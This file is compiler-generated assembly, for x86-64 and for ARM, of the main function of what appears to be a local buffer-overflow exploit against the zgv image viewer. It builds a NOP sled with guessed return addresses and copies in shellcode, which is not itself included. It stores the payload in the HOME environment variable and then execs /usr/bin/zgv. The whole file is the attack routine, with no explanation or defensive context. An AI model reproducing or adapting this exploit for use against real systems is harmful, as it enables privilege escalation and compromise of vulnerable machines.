	.file	"extr_339.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"HOME"
.LC1:
	.string	"/usr/bin/zgv"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	sub	rsp, 8
	.cfi_def_cfa_offset 32
	cmp	DWORD PTR bufsize[rip], 4
	jle	.L2
	xor	ebp, ebp
	xor	ebx, ebx
	.p2align 4,,10
	.p2align 3
.L3:
	xor	eax, eax
	add	ebx, 4
	call	get_sp@PLT
	mov	rdi, QWORD PTR buffer[rip]
	sub	rax, 4675
	mov	QWORD PTR [rdi+rbp], rax
	mov	eax, DWORD PTR bufsize[rip]
	add	rbp, 32
	sub	eax, 4
	cmp	eax, ebx
	jg	.L3
.L4:
	mov	edx, 512
	mov	esi, 144
	call	memset@PLT
	mov	edi, DWORD PTR shellcode[rip]
	call	strlen@PLT
	mov	esi, DWORD PTR shellcode[rip]
	mov	edx, eax
	mov	rax, QWORD PTR buffer[rip]
	lea	rdi, 4096[rax]
	call	memcpy@PLT
	mov	rsi, QWORD PTR buffer[rip]
	movsx	rax, DWORD PTR bufsize[rip]
	mov	edx, 1
	lea	rdi, .LC0[rip]
	mov	QWORD PTR -8[rsi+rax*8], 0
	call	setenv@PLT
	lea	rsi, .LC1[rip]
	xor	edx, edx
	mov	rdi, rsi
	call	execl@PLT
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L2:
	.cfi_restore_state
	mov	rdi, QWORD PTR buffer[rip]
	jmp	.L4
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	bufsize,4,4
	.comm	buffer,8,8
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_339.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"HOME\000"
	.align	2
.LC1:
	.ascii	"/usr/bin/zgv\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, lr}
	ldr	r6, .L8
	ldr	r3, [r6]
	cmp	r3, #4
	ble	.L2
	mov	r4, #0
	ldr	r5, .L8+4
.L3:
	bl	get_sp
	ldr	r2, [r6]
	ldr	r1, [r5]
	sub	r3, r0, #4672
	sub	r3, r3, #3
	str	r3, [r1, r4, lsl #2]
	sub	r3, r2, #4
	add	r4, r4, #4
	cmp	r3, r4
	bgt	.L3
.L4:
	mov	r2, #512
	mov	r0, r1
	mov	r1, #144
	bl	memset
	ldr	r3, .L8+8
	ldr	r7, [r5]
	ldr	r8, [r3]
	mov	r4, #0
	mov	r0, r8
	bl	strlen
	add	r7, r7, #2048
	mov	r2, r0
	mov	r1, r8
	mov	r0, r7
	bl	memcpy
	ldr	r3, [r6]
	ldr	r1, [r5]
	sub	r3, r3, #-1073741823
	str	r4, [r1, r3, lsl #2]
	mov	r2, #1
	ldr	r0, .L8+12
	bl	setenv
	ldr	r1, .L8+16
	mov	r2, r4
	mov	r0, r1
	bl	execl
	mov	r0, r4
	pop	{r4, r5, r6, r7, r8, pc}
.L2:
	ldr	r5, .L8+4
	ldr	r1, [r5]
	b	.L4
.L9:
	.align	2
.L8:
	.word	bufsize
	.word	buffer
	.word	shellcode
	.word	.LC0
	.word	.LC1
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	bufsize,4,4
	.comm	buffer,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
